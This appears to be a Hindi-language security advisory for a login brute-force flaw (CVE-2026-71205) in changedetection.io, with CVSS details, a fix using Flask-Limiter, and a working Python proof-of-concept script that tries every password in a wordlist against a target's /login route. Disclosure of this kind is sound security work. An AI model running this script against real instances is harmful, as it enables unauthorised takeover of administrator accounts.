
PoC: changedetection.io असीमित लॉगिन ब्रूट-फोर्स, रेट लिमिटिंग के बिना (CVE-2026-71205, मध्यम 6.5)
उत्पाद: dgtlmoon/changedetection.io — v0.55.7
फ़ाइल: changedetectionio/flask_app.py
CWE: CWE-307 — अत्यधिक प्रमाणीकरण प्रयासों का अनुचित प्रतिबंध
CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N — 6.5 (मध्यम)
CNA: Turan Security · CVE रिकॉर्ड
changedetection.io का /login रूट प्रस्तुत किए गए पासवर्ड की जाँच एकल PBKDF2-HMAC-SHA256 हैश के विरुद्ध करता है, जिसमें प्रति-IP या प्रति-सेशन रेट लिमिटिंग, असफल-प्रयास काउंटर, या लॉकआउट नहीं होता। requirements.txt में कोई रेट-लिमिटिंग लाइब्रेरी मौजूद नहीं है।
एक हमलावर बिना किसी थ्रॉटलिंग के एकल-एडमिन लॉगिन के विरुद्ध असीमित पासवर्ड अनुमान लगा सकता है, जिससे नेटवर्क राउंड-ट्रिप के अलावा किसी भी लागत के बिना इंस्टेंस के एकमात्र खाते पर ऑनलाइन ब्रूट-फोर्स या क्रेडेंशियल-स्टफिंग हमले संभव हो जाते हैं।
import requests
import itertools
import sys
target = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:5000"
wordlist = sys.argv[2] if len(sys.argv) > 2 else "passwords.txt"
session = requests.Session()
with open(wordlist) as f:
for line_no, password in enumerate(f, 1):
password = password.strip()
resp = session.post(
f"{target}/login",
data={"password": password},
allow_redirects=False,
timeout=10,
)
# No lockout, no rate-limit headers, no CAPTCHA at any attempt count.
status = "SUCCESS" if resp.status_code in (302, 303) else "fail"
print(f"[{line_no}] {password!r}: {status} (HTTP {resp.status_code})")
if status == "SUCCESS":
print(f"[+] Valid password found: {password}")
break
किसी भी पासवर्ड वर्डलिस्ट के साथ इंस्टेंस पर चलाएँ — रन के किसी भी चरण में कोई भी प्रयास-संख्या लॉकआउट, CAPTCHA, या बढ़ती देरी को ट्रिगर नहीं करती।
लॉगिन हैंडलर बिना किसी प्रयास-ट्रैकिंग स्थिति (प्रति-IP, प्रति-सेशन, या वैश्विक) के सीधे हैश तुलना करता है, और कोई रेट-लिमिटिंग मिडलवेयर/लाइब्रेरी स्थापित नहीं है।
/login पर एक रेट-लिमिटिंग लाइब्रेरी (जैसे Flask-Limiter) जोड़ें, जिसमें प्रति स्रोत IP/सेशन के लिए असफल-प्रयास काउंटर और एक्सपोनेन्शियल बैकऑफ़ या अस्थायी लॉकआउट शामिल हो।